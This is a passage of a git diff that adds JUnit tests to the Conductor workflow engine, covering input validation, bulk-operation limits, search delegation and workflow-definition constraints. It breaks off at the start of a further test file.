+ @Test + public void testAckTaskReceivedMissingWorkerId() { + String ack = taskService.ackTaskReceived("abc", null); + assertNotNull(ack); + } + + @Test(expected = ConstraintViolationException.class) + public void testLog() { + try { + taskService.log(null, null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("TaskId cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testGetTaskLogs() { + try { + taskService.getTaskLogs(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("TaskId cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testGetTask() { + try { + taskService.getTask(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("TaskId cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testRemoveTaskFromQueue() { + try { + taskService.removeTaskFromQueue(null, null); + } catch (ConstraintViolationException ex) { + assertEquals(2, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("TaskId cannot be null or empty.")); + assertTrue(messages.contains("TaskType cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testGetPollData() { + try { + taskService.getPollData(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("TaskType cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testRequeuePendingTask() { + try { + taskService.requeuePendingTask(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("TaskType cannot be null or empty.")); + throw ex; + } + } + + @Test + public void testSearch() { + SearchResult searchResult = + new SearchResult<>(2, List.of(mock(TaskSummary.class), mock(TaskSummary.class))); + when(executionService.getSearchTasks("query", "*", 0, 2, "Sort")).thenReturn(searchResult); + assertEquals(searchResult, taskService.search(0, 2, "Sort", "*", "query")); + } + + @Test + public void testSearchV2() { + SearchResult searchResult = + new SearchResult<>(2, List.of(mock(Task.class), mock(Task.class))); + when(executionService.getSearchTasksV2("query", "*", 0, 2, "Sort")) + .thenReturn(searchResult); + assertEquals(searchResult, taskService.searchV2(0, 2, "Sort", "*", "query")); + } +} diff --git a/core/src/test/java/com/netflix/conductor/service/WorkflowBulkServiceTest.java b/core/src/test/java/com/netflix/conductor/service/WorkflowBulkServiceTest.java new file mode 100644 index 0000000..25f70fd --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/service/WorkflowBulkServiceTest.java @@ -0,0 +1,177 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Set; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.core.execution.WorkflowExecutor; + +import jakarta.validation.ConstraintViolationException; + +import static com.netflix.conductor.TestUtils.getConstraintViolationMessages; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; + +@SuppressWarnings("SpringJavaAutowiredMembersInspection") +@RunWith(SpringRunner.class) +@EnableAutoConfiguration +public class WorkflowBulkServiceTest { + + @TestConfiguration + static class TestWorkflowBulkConfiguration { + + @Bean + WorkflowExecutor workflowExecutor() { + return mock(WorkflowExecutor.class); + } + + @Bean + WorkflowService workflowService() { + return mock(WorkflowService.class); + } + + @Bean + public WorkflowBulkService workflowBulkService( + WorkflowExecutor workflowExecutor, WorkflowService workflowService) { + return new WorkflowBulkServiceImpl(workflowExecutor, workflowService); + } + } + + @Autowired private WorkflowExecutor workflowExecutor; + + @Autowired private WorkflowBulkService workflowBulkService; + + @Test(expected = ConstraintViolationException.class) + public void testPauseWorkflowNull() { + try { + workflowBulkService.pauseWorkflow(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowIds list cannot be null.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testPauseWorkflowWithInvalidListSize() { + try { + List list = new ArrayList<>(1001); + for (int i = 0; i < 1002; i++) { + list.add("test"); + } + workflowBulkService.pauseWorkflow(list); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue( + messages.contains( + "Cannot process more than 1000 workflows. Please use multiple requests.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testResumeWorkflowNull() { + try { + workflowBulkService.resumeWorkflow(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowIds list cannot be null.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testRestartWorkflowNull() { + try { + workflowBulkService.restart(null, false); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowIds list cannot be null.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testRetryWorkflowNull() { + try { + workflowBulkService.retry(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowIds list cannot be null.")); + throw ex; + } + } + + @Test + public void testRetryWorkflowSuccessful() { + // When + workflowBulkService.retry(Collections.singletonList("anyId")); + // Then + verify(workflowExecutor).retry("anyId", false); + } + + @Test(expected = ConstraintViolationException.class) + public void testTerminateNull() { + try { + workflowBulkService.terminate(null, null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowIds list cannot be null.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testDeleteWorkflowNull() { + try { + workflowBulkService.deleteWorkflow(null, false); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowIds list cannot be null.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testTerminateRemoveNull() { + try { + workflowBulkService.terminateRemove(null, null, false); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowIds list cannot be null.")); + throw ex; + } + } +} diff --git a/core/src/test/java/com/netflix/conductor/service/WorkflowServiceTest.java b/core/src/test/java/com/netflix/conductor/service/WorkflowServiceTest.java new file mode 100644 index 0000000..081a8f0 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/service/WorkflowServiceTest.java @@ -0,0 +1,502 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.metadata.workflow.RerunWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.SkipTaskRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.execution.WorkflowExecutor; + +import jakarta.validation.ConstraintViolationException; + +import static com.netflix.conductor.TestUtils.getConstraintViolationMessages; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +@SuppressWarnings("SpringJavaAutowiredMembersInspection") +@RunWith(SpringRunner.class) +@EnableAutoConfiguration +public class WorkflowServiceTest { + + @TestConfiguration + static class TestWorkflowConfiguration { + + @Bean + public WorkflowExecutor workflowExecutor() { + return mock(WorkflowExecutor.class); + } + + @Bean + public ExecutionService executionService() { + return mock(ExecutionService.class); + } + + @Bean + public MetadataService metadataService() { + return mock(MetadataServiceImpl.class); + } + + @Bean + public WorkflowService workflowService( + WorkflowExecutor workflowExecutor, + ExecutionService executionService, + MetadataService metadataService) { + return new WorkflowServiceImpl(workflowExecutor, executionService, metadataService); + } + } + + @Autowired private WorkflowExecutor workflowExecutor; + + @Autowired private ExecutionService executionService; + + @Autowired private MetadataService metadataService; + + @Autowired private WorkflowService workflowService; + + @Test(expected = ConstraintViolationException.class) + public void testStartWorkflowNull() { + try { + workflowService.startWorkflow(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("StartWorkflowRequest cannot be null")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testGetWorkflowsNoName() { + try { + workflowService.getWorkflows("", "c123", true, true); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("Workflow name cannot be null or empty")); + throw ex; + } + } + + @Test + public void testGetWorklfowsSingleCorrelationId() { + Workflow workflow = new Workflow(); + workflow.setCorrelationId("c123"); + + List workflowArrayList = Collections.singletonList(workflow); + + when(executionService.getWorkflowInstances( + anyString(), anyString(), anyBoolean(), anyBoolean())) + .thenReturn(workflowArrayList); + assertEquals(workflowArrayList, workflowService.getWorkflows("test", "c123", true, true)); + } + + @Test + public void testGetWorklfowsMultipleCorrelationId() { + Workflow workflow = new Workflow(); + workflow.setCorrelationId("c123"); + + List workflowArrayList = Collections.singletonList(workflow); + + List correlationIdList = Collections.singletonList("c123"); + + Map> workflowMap = new HashMap<>(); + workflowMap.put("c123", workflowArrayList); + + when(executionService.getWorkflowInstances( + anyString(), anyString(), anyBoolean(), anyBoolean())) + .thenReturn(workflowArrayList); + assertEquals( + workflowMap, workflowService.getWorkflows("test", true, true, correlationIdList)); + } + + @Test + public void testGetExecutionStatus() { + Workflow workflow = new Workflow(); + workflow.setCorrelationId("c123"); + + when(executionService.getExecutionStatus(anyString(), anyBoolean())).thenReturn(workflow); + assertEquals(workflow, workflowService.getExecutionStatus("w123", true)); + } + + @Test(expected = ConstraintViolationException.class) + public void testGetExecutionStatusNoWorkflowId() { + try { + workflowService.getExecutionStatus("", true); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowId cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = NotFoundException.class) + public void testNotFoundExceptionGetExecutionStatus() { + when(executionService.getExecutionStatus(anyString(), anyBoolean())).thenReturn(null); + workflowService.getExecutionStatus("w123", true); + } + + @Test + public void testDeleteWorkflow() { + workflowService.deleteWorkflow("w123", false); + verify(executionService, times(1)).removeWorkflow(anyString(), eq(false)); + } + + @Test(expected = ConstraintViolationException.class) + public void testInvalidDeleteWorkflow() { + try { + workflowService.deleteWorkflow(null, false); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowId cannot be null or empty.")); + throw ex; + } + } + + @Test + public void testArchiveWorkflow() { + workflowService.deleteWorkflow("w123", true); + verify(executionService, times(1)).removeWorkflow(anyString(), eq(true)); + } + + @Test(expected = ConstraintViolationException.class) + public void testInvalidArchiveWorkflow() { + try { + workflowService.deleteWorkflow(null, true); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowId cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testInvalidPauseWorkflow() { + try { + workflowService.pauseWorkflow(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowId cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testInvalidResumeWorkflow() { + try { + workflowService.resumeWorkflow(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowId cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testInvalidSkipTaskFromWorkflow() { + try { + SkipTaskRequest skipTaskRequest = new SkipTaskRequest(); + workflowService.skipTaskFromWorkflow(null, null, skipTaskRequest); + } catch (ConstraintViolationException ex) { + assertEquals(2, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowId name cannot be null or empty.")); + assertTrue(messages.contains("TaskReferenceName cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testInvalidWorkflowNameGetRunningWorkflows() { + try { + workflowService.getRunningWorkflows(null, 123, null, null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("Workflow name cannot be null or empty.")); + throw ex; + } + } + + @Test + public void testGetRunningWorkflowsTime() { + workflowService.getRunningWorkflows("test", 1, 100L, 120L); + verify(workflowExecutor, times(1)) + .getWorkflows(anyString(), anyInt(), anyLong(), anyLong()); + } + + @Test + public void testGetRunningWorkflows() { + workflowService.getRunningWorkflows("test", 1, null, null); + verify(workflowExecutor, times(1)).getRunningWorkflowIds(anyString(), anyInt()); + } + + @Test + public void testDecideWorkflow() { + workflowService.decideWorkflow("test"); + verify(workflowExecutor, times(1)).decide(anyString()); + } + + @Test + public void testPauseWorkflow() { + workflowService.pauseWorkflow("test"); + verify(workflowExecutor, times(1)).pauseWorkflow(anyString()); + } + + @Test + public void testResumeWorkflow() { + workflowService.resumeWorkflow("test"); + verify(workflowExecutor, times(1)).resumeWorkflow(anyString()); + } + + @Test + public void testSkipTaskFromWorkflow() { + workflowService.skipTaskFromWorkflow("test", "testTask", null); + verify(workflowExecutor, times(1)).skipTaskFromWorkflow(anyString(), anyString(), isNull()); + } + + @Test + public void testRerunWorkflow() { + RerunWorkflowRequest request = new RerunWorkflowRequest(); + workflowService.rerunWorkflow("test", request); + verify(workflowExecutor, times(1)).rerun(any(RerunWorkflowRequest.class)); + } + + @Test(expected = ConstraintViolationException.class) + public void testRerunWorkflowNull() { + try { + workflowService.rerunWorkflow(null, null); + } catch (ConstraintViolationException ex) { + assertEquals(2, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowId cannot be null or empty.")); + assertTrue(messages.contains("RerunWorkflowRequest cannot be null.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testRestartWorkflowNull() { + try { + workflowService.restartWorkflow(null, false); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowId cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testRetryWorkflowNull() { + try { + workflowService.retryWorkflow(null, false); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowId cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testResetWorkflowNull() { + try { + workflowService.resetWorkflow(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowId cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testTerminateWorkflowNull() { + try { + workflowService.terminateWorkflow(null, null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowId cannot be null or empty.")); + throw ex; + } + } + + @Test + public void testRerunWorkflowReturnWorkflowId() { + RerunWorkflowRequest request = new RerunWorkflowRequest(); + String workflowId = "w123"; + when(workflowExecutor.rerun(any(RerunWorkflowRequest.class))).thenReturn(workflowId); + assertEquals(workflowId, workflowService.rerunWorkflow("test", request)); + } + + @Test + public void testRestartWorkflow() { + workflowService.restartWorkflow("w123", false); + verify(workflowExecutor, times(1)).restart(anyString(), anyBoolean()); + } + + @Test + public void testRetryWorkflow() { + workflowService.retryWorkflow("w123", false); + verify(workflowExecutor, times(1)).retry(anyString(), anyBoolean()); + } + + @Test + public void testResetWorkflow() { + workflowService.resetWorkflow("w123"); + verify(workflowExecutor, times(1)).resetCallbacksForWorkflow(anyString()); + } + + @Test + public void testTerminateWorkflow() { + workflowService.terminateWorkflow("w123", "test"); + verify(workflowExecutor, times(1)).terminateWorkflow(anyString(), anyString()); + } + + @Test + public void testSearchWorkflows() { + Workflow workflow = new Workflow(); + WorkflowDef def = new WorkflowDef(); + def.setName("name"); + def.setVersion(1); + workflow.setWorkflowDefinition(def); + workflow.setCorrelationId("c123"); + + WorkflowSummary workflowSummary = new WorkflowSummary(workflow); + List listOfWorkflowSummary = Collections.singletonList(workflowSummary); + + SearchResult searchResult = new SearchResult<>(100, listOfWorkflowSummary); + + when(executionService.search("*", "*", 0, 100, Collections.singletonList("asc"))) + .thenReturn(searchResult); + assertEquals(searchResult, workflowService.searchWorkflows(0, 100, "asc", "*", "*")); + assertEquals( + searchResult, + workflowService.searchWorkflows( + 0, 100, Collections.singletonList("asc"), "*", "*")); + } + + @Test + public void testSearchWorkflowsV2() { + Workflow workflow = new Workflow(); + workflow.setCorrelationId("c123"); + + List listOfWorkflow = Collections.singletonList(workflow); + SearchResult searchResult = new SearchResult<>(1, listOfWorkflow); + + when(executionService.searchV2("*", "*", 0, 100, Collections.singletonList("asc"))) + .thenReturn(searchResult); + assertEquals(searchResult, workflowService.searchWorkflowsV2(0, 100, "asc", "*", "*")); + assertEquals( + searchResult, + workflowService.searchWorkflowsV2( + 0, 100, Collections.singletonList("asc"), "*", "*")); + } + + @Test + public void testInvalidSizeSearchWorkflows() { + ConstraintViolationException ex = + assertThrows( + ConstraintViolationException.class, + () -> workflowService.searchWorkflows(0, 6000, "asc", "*", "*")); + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue( + messages.contains( + "Cannot return more than 5000 workflows. Please use pagination.")); + } + + @Test + public void testInvalidSizeSearchWorkflowsV2() { + ConstraintViolationException ex = + assertThrows( + ConstraintViolationException.class, + () -> workflowService.searchWorkflowsV2(0, 6000, "asc", "*", "*")); + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue( + messages.contains( + "Cannot return more than 5000 workflows. Please use pagination.")); + } + + @Test + public void testSearchWorkflowsByTasks() { + Workflow workflow = new Workflow(); + WorkflowDef def = new WorkflowDef(); + def.setName("name"); + def.setVersion(1); + workflow.setWorkflowDefinition(def); + workflow.setCorrelationId("c123"); + + WorkflowSummary workflowSummary = new WorkflowSummary(workflow); + List listOfWorkflowSummary = Collections.singletonList(workflowSummary); + SearchResult searchResult = new SearchResult<>(100, listOfWorkflowSummary); + + when(executionService.searchWorkflowByTasks( + "*", "*", 0, 100, Collections.singletonList("asc"))) + .thenReturn(searchResult); + assertEquals(searchResult, workflowService.searchWorkflowsByTasks(0, 100, "asc", "*", "*")); + assertEquals( + searchResult, + workflowService.searchWorkflowsByTasks( + 0, 100, Collections.singletonList("asc"), "*", "*")); + } + + @Test + public void testSearchWorkflowsByTasksV2() { + Workflow workflow = new Workflow(); + workflow.setCorrelationId("c123"); + + List listOfWorkflow = Collections.singletonList(workflow); + SearchResult searchResult = new SearchResult<>(1, listOfWorkflow); + + when(executionService.searchWorkflowByTasksV2( + "*", "*", 0, 100, Collections.singletonList("asc"))) + .thenReturn(searchResult); + assertEquals( + searchResult, workflowService.searchWorkflowsByTasksV2(0, 100, "asc", "*", "*")); + assertEquals( + searchResult, + workflowService.searchWorkflowsByTasksV2( + 0, 100, Collections.singletonList("asc"), "*", "*")); + } +} diff --git a/core/src/test/java/com/netflix/conductor/validations/WorkflowDefConstraintTest.java b/core/src/test/java/com/netflix/conductor/validations/WorkflowDefConstraintTest.java new file mode 100644 index 0000000..655b4d7 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/validations/WorkflowDefConstraintTest.java @@ -0,0 +1,191 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.validations; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.BeforeClass; +import org.junit.Test; +import org.mockito.Mockito; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.dao.MetadataDAO; + +import jakarta.validation.ConstraintViolation; +import jakarta.validation.Validation; +import jakarta.validation.Validator; +import jakarta.validation.ValidatorFactory; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.when; + +public class WorkflowDefConstraintTest { + + private static Validator validator; + private static ValidatorFactory validatorFactory; + private MetadataDAO mockMetadataDao; + + @BeforeClass + public static void init() { + validatorFactory = Validation.buildDefaultValidatorFactory(); + validator = validatorFactory.getValidator(); + } + + @AfterClass + public static void close() { + validatorFactory.close(); + } + + @Before + public void setUp() { + mockMetadataDao = Mockito.mock(MetadataDAO.class); + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + ValidationContext.initialize(mockMetadataDao); + } + + @Test + public void testWorkflowTaskName() { + TaskDef taskDef = new TaskDef(); // name is null + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + Validator validator = factory.getValidator(); + Set> result = validator.validate(taskDef); + assertEquals(2, result.size()); + } + + @Test + public void testWorkflowTaskSimple() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("sampleWorkflow"); + workflowDef.setDescription("Sample workflow def"); + workflowDef.setOwnerEmail("sample@test.com"); + workflowDef.setVersion(2); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("fileLocation", "${workflow.input.fileLocation}"); + + workflowTask_1.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + Set> result = validator.validate(workflowDef); + assertEquals(0, result.size()); + } + + @Test + /*Testcase to check inputParam is not valid + */ + public void testWorkflowTaskInvalidInputParam() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("sampleWorkflow"); + workflowDef.setDescription("Sample workflow def"); + workflowDef.setOwnerEmail("sample@test.com"); + workflowDef.setVersion(2); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("fileLocation", "${work.input.fileLocation}"); + + workflowTask_1.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + validator = factory.getValidator(); + + when(mockMetadataDao.getTaskDef("work1")).thenReturn(new TaskDef()); + Set> result = validator.validate(workflowDef); + assertEquals(1, result.size()); + assertEquals( + result.iterator().next().getMessage(), + "taskReferenceName: work for given task: task_1 input value: fileLocation of input parameter: ${work.input.fileLocation} is not defined in workflow definition."); + } + + @Test + public void testWorkflowTaskReferenceNameNotUnique() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("sampleWorkflow"); + workflowDef.setDescription("Sample workflow def"); + workflowDef.setOwnerEmail("sample@test.com"); + workflowDef.setVersion(2); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("fileLocation", "${task_2.input.fileLocation}"); + + workflowTask_1.setInputParameters(inputParam); + + WorkflowTask workflowTask_2 = new WorkflowTask(); + workflowTask_2.setName("task_2"); + workflowTask_2.setTaskReferenceName("task_1"); + workflowTask_2.setType(TaskType.TASK_TYPE_SIMPLE); + + workflowTask_2.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + tasks.add(workflowTask_2); + + workflowDef.setTasks(tasks); + + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + validator = factory.getValidator(); + + when(mockMetadataDao.getTaskDef(anyString())).thenReturn(new TaskDef()); + Set> result = validator.validate(workflowDef); + assertEquals(3, result.size()); + + List validationErrors = new ArrayList<>(); + + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.contains( + "taskReferenceName: task_2 for given task: task_2 input value: fileLocation of input parameter: ${task_2.input.fileLocation} is not defined in workflow definition.")); + assertTrue( + validationErrors.contains( + "taskReferenceName: task_2 for given task: task_1 input value: fileLocation of input parameter: ${task_2.input.fileLocation} is not defined in workflow definition.")); + assertTrue( + validationErrors.contains( + "taskReferenceName: task_1 should be unique across tasks for a given workflowDefinition: sampleWorkflow")); + } +} diff --git a/core/src/test/java/com/netflix/conductor/validations/WorkflowTaskTypeConstraintTest.java b/core/src/test/java/com/netflix/conductor/validations/WorkflowTaskTypeConstraintTest.java new file mode 100644 index 0000000..6f73421 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/validations/WorkflowTaskTypeConstraintTest.java @@ -0,0 +1,634 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

